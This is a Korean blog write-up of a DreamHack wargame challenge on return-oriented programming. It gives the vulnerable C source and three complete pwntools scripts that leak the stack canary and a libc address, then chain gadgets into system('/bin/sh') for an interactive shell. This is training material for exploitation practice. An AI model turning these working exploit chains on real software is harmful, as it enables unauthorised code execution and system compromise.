CIDY
[System_Hacking] stage7_문제풀이(Return Oriented Programming) 본문
Hack/DreamHack(로드맵)
[System_Hacking] stage7_문제풀이(Return Oriented Programming)
CIDY 2022. 7. 2. 17:46간단한 문젠데 이것저것 하다보니 풀이를 3개나 써버렸다ㅋㅋ다들 비슷비슷한 인자세팅이긴 함.
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
// 64-bit, canary, nx, partial relro
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
간단한 ROP문제다. 카나리 릭 -> ROP가 전부임
ROP할때는 릭을 해와야 하기 때문에 어느 함수를, 어느 함수로 릭할지 계획하는게 중요하다. 여기선 누가봐도 인자 1개짜리인 puts를 써서 릭해오는게 효율적이어보인다. -> puts로 아무 라이브러리 함수나 릭해주면 된다.
풀이 1 :
from pwn import *
e = ELF("./rop")
#libc = ELF("./libc-2.27.so")
libc = e.libc
#p = remote("host3.dreamhack.games", 18978)
p = process("./rop")
pop_rdi = 0x4007f3
ret = 0x40055e
p.recvuntil(b"Buf: ")
p.send(b"A" * 0x39)
p.recvuntil(b"Buf: ")
p.recvn(0x39)
canary = u64(p.recvn(7).rjust(8, b"\x00"))
print(hex(canary))
p.recvuntil(b"Buf: ")
pay = b"A" * 0x30
pay += b"B" * 0x8
pay += p64(canary)
pay += b"C" * 0x8
pay += p64(pop_rdi)
pay += p64(e.got['read'])
pay += p64(e.plt['puts'])
pay += p64(e.sym['main'])
p.send(pay)
read = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = read - libc.symbols['read']
print(hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base + list(libc.search(b"/bin/sh"))[0]
p.recvuntil(b"Buf: ")
p.send(b"A")
p.recvline()
p.recvuntil(b"Buf: ")
pay = b"A" * 0x30
pay += b"B" * 0x8
pay += p64(canary)
pay += b"C" * 0x8
pay += p64(pop_rdi)
pay += p64(binsh)
pay += p64(ret)
pay += p64(system)
p.send(pay)
p.interactive()
puts함수로 read 주소 릭 -> 립시 베이스 구하고 -> system, binsh 구하고 -> main으로 돌아가서 -> ROP
근데 세팅을 한번에 해 주면 굳이 main으로 돌아가지 않아도 된다.
풀이 2 :
from pwn import *
p = remote("host3.dreamhack.games", 10260)
#p = process("./rop")
e = ELF("./rop")
#libc = e.libc
libc = ELF("./libc-2.27.so")
pop_rdi = 0x4007f3
pop_rsi_r15 = 0x4007f1
ret = 0x40055e
p.recvuntil(b"Buf: ")
p.send(b"A" * 0x39)
p.recvuntil(b"Buf: ")
p.recvn(0x39)
canary = u64(p.recvn(7).rjust(8, b"\x00"))
print(hex(canary))
pay = b"A" * 0x30
pay += b"B" * 0x8
pay += p64(canary)
pay += b"C" * 0x8
#pay += p64(ret)
pay += p64(pop_rdi)
pay += p64(e.got['read'])
pay += p64(e.plt['puts'])
pay += p64(pop_rdi)
pay += p64(0)
pay += p64(pop_rsi_r15)
pay += p64(e.got['read'])
pay += p64(0)
pay += p64(e.plt['read'])
pay += p64(pop_rdi)
pay += p64(e.got['read'] + 0x8)
pay += p64(e.plt['read'])
p.recvuntil(b"Buf: ")
p.send(pay)
read = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = read - libc.symbols['read']
print(hex(libc_base))
system = libc_base + libc.symbols['system']
p.send(p64(system)+b"/bin/sh\x00")
p.interactive()
세팅을 한번에 싹 해줬는데 /bin/sh를 립시에서 찾아온 게 아니고 그냥 써줬다. 근데 어디 써줬냐면 read의 got주소 바로 다음에 써줬다. 그래서 system("/bin/sh")를 실행시킨 것임.
마지막에 보면 read의 got에 system주소 넣고 바로뒤에 쭉 /bin/sh\x00까지 써 준 것을 볼 수 있다.
이걸 좀 변형시켜서 bss에 쓸 수도 있다
풀이 3 :
from pwn import *
p = remote("host3.dreamhack.games", 10260)
#p = process("./rop")
e = ELF("./rop")
#libc = e.libc
libc = ELF("./libc-2.27.so")
pop_rdi = 0x4007f3
pop_rsi_r15 = 0x4007f1
ret = 0x40055e
bss = 0x601050
p.recvuntil(b"Buf: ")
p.send(b"A" * 0x39)
p.recvuntil(b"Buf: ")
p.recvn(0x39)
canary = u64(p.recvn(7).rjust(8, b"\x00"))
print(hex(canary))
pay = b"A" * 0x30
pay += b"B" * 0x8
pay += p64(canary)
pay += b"C" * 0x8
#pay += p64(ret)
pay += p64(pop_rdi)
pay += p64(e.got['read'])
pay += p64(e.plt['puts'])
pay += p64(pop_rdi)
pay += p64(0)
pay += p64(pop_rsi_r15)
pay += p64(bss + 0x500)
pay += p64(0)
pay += p64(e.plt['read'])
pay += p64(pop_rdi)
pay += p64(0)
pay += p64(pop_rsi_r15)
pay += p64(e.got['read'])
pay += p64(0)
pay += p64(e.plt['read'])
pay += p64(pop_rdi)
pay += p64(bss + 0x500)
pay += p64(e.plt['read'])
p.recvuntil(b"Buf: ")
pause()
p.send(pay)
read = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = read - libc.symbols['read']
print(hex(libc_base))
system = libc_base + libc.symbols['system']
p.send(b"/bin/sh\x00")
p.send(p64(system))
p.interactive()
근데 bss에 써주려면 read를 써야 하니까 system으로 read덮기 전에 먼저 써줘야 함.
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[System_Hacking] stage7_문제풀이(basic_rop_x86) (0) | 2022.07.02 |
---|---|
[System_Hacking] stage7_문제풀이(basic_rop_x64) (0) | 2022.07.02 |
[System_Hacking] stage7_문제풀이(Return to Library) (0) | 2022.07.02 |
[System_Hacking] stage6_문제풀이(ssp_001) (0) | 2022.07.02 |
[System_Hacking] stage6_문제풀이(Return to Shellcode) (0) | 2022.07.02 |